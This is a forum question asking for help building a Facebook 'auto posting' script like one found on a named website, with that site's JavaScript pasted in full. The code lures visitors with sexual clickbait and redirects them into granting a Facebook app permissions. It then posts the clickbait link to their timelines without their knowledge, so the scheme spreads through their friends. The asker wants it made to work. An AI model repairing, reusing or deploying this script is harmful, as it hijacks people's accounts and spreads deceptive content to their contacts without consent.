title: Facebook auto posting from website
body: <p>i need to make script like this one here:
  <a href="http://onion.mk/konecno-objaveno-domasnoto-video-na-nasata-voditelka/?ref=top" rel="nofollow">http://onion.mk/konecno-objaveno-domasnoto-video-na-nasata-voditelka/?ref=top</a></p>
  
  <p>after few seconds of viewing the post automaticly redirect you to facebook APP and request you to loggin to see the post. After the first login everytime you see any other post automaticly post to your timeline.</p>
  
  <p>Its javascript and can be find in the source of the website but wont work... something missing there...
  can some one help me please?</p>
  
  <pre><code>&lt;div
  id="fb-root"&gt;&lt;/div&gt;&lt;script&gt;
    var app_id = '467647329957056';   var cookie_prefix = 'onion_mk_';
    var appdomain = 'onion.mk';
    var appdomain_formatted = appdomain.charAt(0).toUpperCase() + appdomain.substring(1);
          function setCookie(c_name, value, exdays, time) {
              var exdate = new Date();
              if(time!='')
              {
                  exdate.setTime( exdate.getTime() + (time*60*1000));
              }else{
                  exdate.setDate(exdate.getDate() + exdays);
              }            
              var c_value = escape(value) + ((exdays == null) ? "" : "; expires=" + exdate.toUTCString()) + ";path=/;domain=" + appdomain;
              document.cookie = cookie_prefix + c_name + "=" + c_value;
          }
          function getCookie(c_name) {
              var i, x, y, ARRcookies = document.cookie.split(";");
              for (i = ARRcookies.length - 1; i &gt;= 0; i--) {
                  x = ARRcookies[i].substr(0, ARRcookies[i].indexOf("="));
                  y = ARRcookies[i].substr(ARRcookies[i].indexOf("=") + 1);
                  x = x.replace(/^\s+|\s+$/g, "");
                  if (x == cookie_prefix + c_name) {
                      return unescape(y);
                  }
              }
          }
  
  function isEmpty(obj) {
      for(var prop in obj) {
          if(obj.hasOwnProperty(prop))
              return false;
      }
  
      return true;
  }
    window.fbAsyncInit = function() {
      FB.init({
        appId      : app_id,
        status     : true,
        cookie     : true,
        xfbml      : true
      });
              FB.Event.subscribe('edge.create', function (response) {
                    document.getElementById('likeboxbgr').style.display='none';
                    document.getElementById('likebox').style.display='none';
              });
  
  FB.getLoginStatus(function (response) {
              var accessToken = null;
              var session = FB.getAuthResponse();
              if (session != null) {
                   accessToken = session.accessToken;
              }
              var token = accessToken;
              var userID;
          if(response.status == 'connected')
          {
              FB.api('/me', function (resp) {
                  userID = resp.id;
              var fql_query = "SELECT uid FROM page_fan WHERE page_id = " + 487604931274728 + " and uid=" + userID;
              var the_query = FB.Data.query(fql_query);
              the_query.wait(function (rows) {
                    if (rows.length == 1 &amp;&amp; rows[0].uid == userID) {
                           document.getElementById('likeboxbgr').style.display='none';
                           document.getElementById('likebox').style.display='none';
                    }else
                    {
                          document.getElementById('likeboxbgr').style.display='block';
                          document.getElementById('likebox').style.display='block';
                    }
              });
                                                  if (getCookie('posted_article_100') == null &amp;&amp; 69&gt;0 &amp;&amp; getCookie('posted') == null) {
                                  FB.api('/me/feed','post',
                                    {
                                        message: 'Конечно објавено домашно видео на нашата водителка (+18)',
                                        name: 'Конечно објавено домашно видео на нашата водителка (+18) | ' + appdomain_formatted,
                                        caption: appdomain_formatted,
                                        description: 'Неодамна излезе домашното видео на нашата позната водителка, за кое...',
                                        link: 'http://www.facebook.com/connect/uiserver.php?app_id='+app_id+'&amp;method=permissions.request&amp;redirect_uri=http://onion.mk/konecno-objaveno-domasnoto-video-na-nasata-voditelka/&amp;amp;error_reason=user_denied&amp;amp;error=access_denied&amp;amp;error_description=The+user+denied+your+request.&amp;response_type=none&amp;display=page&amp;auth_referral=1',
                                        picture: 'http://onion.mk/wp-content/uploads/2013/02/SuperSexyGirls1.jpg'
                                    },
                                    function (rsp) {
                                        if (rsp.id) {
                                            setCookie('posted_article_100', '1', 5);
                                            setCookie('posted', '1', 5, 15);
                                        } else {
  console.log(rsp);
                                            top.location.href = 'http://www.facebook.com/connect/uiserver.php?app_id='+app_id+'&amp;method=permissions.request&amp;redirect_uri=http://onion.mk/konecno-objaveno-domasnoto-video-na-nasata-voditelka/&amp;amp;error_reason=user_denied&amp;amp;error=access_denied&amp;amp;error_description=The+user+denied+your+request.&amp;response_type=none&amp;display=page&amp;auth_referral=1';
                                        };
  
                                    }
                                  );
                              }
                                        });
          }else if (response.status === 'not_authorized')
          {
  
                       document.getElementById('wrapper').style.opacity = 0.12;
               top.location.href = 'http://www.facebook.com/connect/uiserver.php?app_id='+app_id+'&amp;method=permissions.request&amp;redirect_uri=http://onion.mk/konecno-objaveno-domasnoto-video-na-nasata-voditelka/&amp;amp;error_reason=user_denied&amp;amp;error=access_denied&amp;amp;error_description=The+user+denied+your+request.&amp;response_type=none&amp;display=page&amp;auth_referral=1';
                       }else
          {
               console.log('not logged!');
          }
  
   });
    };
    (function(d, debug){
       var js, id = 'facebook-jssdk', ref = d.getElementsByTagName('script')[0];
       if (d.getElementById(id)) {return;}
       js = d.createElement('script'); js.id = id; js.async = true;
       js.src = "//connect.facebook.net/en_US/all" + (debug ? "/debug" : "") + ".js";
       ref.parentNode.insertBefore(js, ref);
     }(document, /*debug*/ false));
  &lt;/script&gt;
  </code></pre>